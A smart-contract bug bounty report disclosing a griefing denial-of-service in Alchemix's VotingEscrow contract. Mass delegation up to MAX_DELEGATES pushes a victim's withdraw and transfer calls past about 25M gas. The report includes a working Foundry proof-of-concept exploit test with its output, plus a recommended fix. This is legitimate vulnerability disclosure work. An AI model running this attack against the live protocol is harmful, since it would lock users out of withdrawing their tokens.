31413 - [SC - Medium] DOS attack by delegating tokens at MAX_DELEGATES

Submitted on May 18th 2024 at 20:04:09 UTC by @savi0ur for Boost | Alchemix

Report ID: #31413

Report type: Smart Contract

Report severity: Medium

Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol

Impacts:

Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Block stuffing

Description

Bug Description

Any user can delegate the balance of the locked veALCX NFT token amount to anyone by calling delegate(). https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1103-L1130

function _moveAllDelegates(address owner, address src, address dst) internal {
    // You can only redelegate what you own
    if (src != dst) {
        if (src != address(0)) {
            // ...SNIP...
        }

        if (dst != address(0)) {
            uint32 dstCheckpoints = numCheckpoints[dst];
            uint256[] memory dstTokensOld = dstCheckpoints > 0
                ? checkpoints[dst][dstCheckpoints - 1].tokenIds
                : checkpoints[dst][0].tokenIds;

            uint256 ownerTokenCount = ownerToTokenCount[owner];
            require(dstTokensOld.length + ownerTokenCount <= MAX_DELEGATES, "dst would have too many tokenIds"); //@audit DoS

            // Create a new array of tokenIds, with the owner's tokens added
            uint256[] memory dstTokensNew = new uint256[](dstTokensOld.length + ownerTokenCount);

            // Copy array
            for (uint256 i = 0; i < dstTokensOld.length; i++) {
                dstTokensNew[i] = dstTokensOld[i];
            }

            // Plus all that's owned
            for (uint256 i = 0; i < ownerTokenCount; i++) {
                uint256 tId = ownerToTokenIdList[owner][i];
                dstTokensNew[dstTokensOld.length + i] = tId;
            }

            // Find the index of the checkpoint to create or update
            uint32 dstIndex = _findWhatCheckpointToWrite(dst);

            // dst has a new or updated checkpoint with the _tokenId added
            checkpoints[dst][dstIndex] = Checkpoint({ timestamp: block.timestamp, tokenIds: dstTokensNew }); // <==

            // Add to numCheckpoints if the last checkpoint is different from the current block timestamp
            if (dstCheckpoints == 0 || checkpoints[dst][dstCheckpoints - 1].timestamp != block.timestamp) {
                numCheckpoints[dst] = dstCheckpoints + 1;
            }
        }
    }
}

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1033-L1052

function _moveTokenDelegates(address src, address dst, uint256 _tokenId) internal {
    if (src != dst && _tokenId > 0) {
        // If the source is not the zero address, we decrement the number of tokenIds
        if (src != address(0)) {
            // ...SNIP...
        }

        // If the destination is not the zero address, we increment the number of tokenIds
        if (dst != address(0)) {
            uint32 dstCheckpoints = numCheckpoints[dst];
            uint256[] memory dstTokensOld = dstCheckpoints > 0
                ? checkpoints[dst][dstCheckpoints - 1].tokenIds
                : checkpoints[dst][0].tokenIds;
            uint256[] memory dstTokensNew = new uint256[](dstTokensOld.length + 1);

            require(dstTokensOld.length + 1 <= MAX_DELEGATES, "dst would have too many tokenIds"); //@audit DoS

            // Copy array plus _tokenId
            for (uint256 i = 0; i < dstTokensOld.length; i++) {
                dstTokensNew[i] = dstTokensOld[i];
            }
            dstTokensNew[dstTokensNew.length - 1] = _tokenId;

            // Find the index of the checkpoint to create or update
            uint32 dstIndex = _findWhatCheckpointToWrite(dst);

            // dst has a new or updated checkpoint with the _tokenId added
            checkpoints[dst][dstIndex] = Checkpoint({ timestamp: block.timestamp, tokenIds: dstTokensNew }); // <==

            // Add to numCheckpoints if the last checkpoint is different from the current block timestamp
            if (dstCheckpoints == 0 || checkpoints[dst][dstCheckpoints - 1].timestamp != block.timestamp) {
                numCheckpoints[dst] = dstCheckpoints + 1;
            }
        }
    }
}

As the delegated tokens are maintained in an array that's vulnerable to DOS attack, the VotingEscrow contract has a safety check of MAX_DELEGATES = 1024 preventing an address from having a huge array. https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L33-L34

/// @notice Maximum number of delegates a token can have
uint256 public constant MAX_DELEGATES = 1024; // avoid too much gas

Given the current implementation, any user with 1024 delegated tokens takes more than 25M gas to transfer/delegate/burn/mint a token as shown in PoC. It will consume a lot of gas as its using function like _moveTokenDelegates() and _moveAllDelegates(), which are vulnerable to DoS attack when MAX_DELEGATES limit is reached for delegated tokens. However, the current gas limit of the ETH chain is 30M. (ref: Etherscan).

This functions(_moveTokenDelegates() and _moveAllDelegates()) from VotingEscrow are called in following functions, which makes them vulnerable to DoS.

delegate()
safeTransferFrom()
transferFrom()
merge()
withdraw()

As we can see in a PoC for a single withdrawal tx, its very expensive for a user as it cost more than 25M gas for a victim.

Current cost of the tx for around 25M gas is around $1000, calculated as follow:

TxCostInUSD = 25e6(gasConsumed) * 14e9(CurrentCostInGWEI) / 1e18 * 3116.44(ETHPriceInUSD)
			= 1090.754 USD

This cost will be even higher when block space in high demand as base fee will increase and also users are willing to offer extra to get a place for their tx in block space.

Tool to find real time gas cost for 25M gas cost: https://www.cryptoneur.xyz/en/gas-fees-calculator?usedGas=25000000&txnType=Custom&gasPrice=instant

Also it will be difficult for a user to get a space in a block space when their tx is consuming almost a gas limit of a block (30M). User's tx will get rejected by builder as its not providing any incentive (apart from tx cost) for a builder to include their tx in a block during high demand of a block space.

If someone trying to attack a victim's address by creating a new address, a new lock, and delegating to the victim. By the time the attacker hit the gas limit, the victim can not withdraw/transfer/delegate transaction in a high demand of a block space.

Impact

Due to the mentioned attack, multiple users wont be able to withdraw their tokens in the same block space as there is a gas limit of 30M on ethereum for a transaction. Users tx could land when there is less traffic on ethereum, but attacker could do block stuffing for just a 5-6 million gas for the same block to grief user's withdraw transaction.

Recommendation

Adjust the MAX_DELEGATES from 1024 to 128 Or Give an option for users to opt-out/opt-in for a certain delegated tokens. Users will only accept the delegated tokens if they opt-in, or users can opt-out to refuse any uncommissioned delegated tokens.

References

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1033-L1052
https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1103-L1130

Proof Of Concept

Steps to Run using Foundry:

Paste following foundry code in src/test/VotingEscrow.t.sol
Run using FOUNDRY_PROFILE=default forge test --fork-url $FORK_URL --fork-block-number 17133822 --match-contract VotingEscrowTest --match-test testDelegateLimitAttack -vv

function testDelegateLimitAttack() public {
    // Give some tokens to this contract
    hevm.startPrank(address(admin));
    IERC20(bpt).transfer(address(this), TOKEN_1M);
    hevm.stopPrank();

    // Give full approval to voting escrow
    IERC20(bpt).approve(address(veALCX), type(uint256).max);

    uint EPOCH = veALCX.EPOCH();

    uint tokenId = veALCX.createLock(TOKEN_1, EPOCH, false);

    for(uint256 i = 0; i < veALCX.MAX_DELEGATES() - 1; i++) {
        hevm.roll(block.number + 1);
        hevm.warp(block.timestamp + 12);
        
        address fakeAccount = address(uint160(block.timestamp + i));
        IERC20(bpt).transfer(fakeAccount, 1);

        hevm.startPrank(fakeAccount);
        IERC20(bpt).approve(address(veALCX), type(uint256).max);
        veALCX.createLock(1, MAXTIME, true);
        veALCX.delegate(address(this));
        hevm.stopPrank();
    }
    
    hevm.roll(block.number + 1);
    hevm.warp(block.timestamp + EPOCH);
    veALCX.startCooldown(tokenId);

    hevm.roll(block.number + 1);
    hevm.warp(block.timestamp + EPOCH);

    uint initialGas = gasleft();
    veALCX.withdraw(tokenId);
    uint gasUsed = initialGas - gasleft();
    
    console.log("Gas Used in total: ", gasUsed);
    assertGt(gasUsed, 25_000_000);
}

Console Output:

> FOUNDRY_PROFILE=default forge test --fork-url $FORK_URL --fork-block-number 17133822 --match-contract VotingEscrowTest --match-test testDelegateLimitAttack -vv

[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] testDelegateLimitAttack() (gas: 12532053553)
Logs:
  Gas Used in total:  25795537

Previous31410 - [SC - Medium] Griefing Attack using delegate will expose User...Next31416 - [SC - Insight] Impossible to set boostMultiplier to MIN_BOOST

Last updated 2 months ago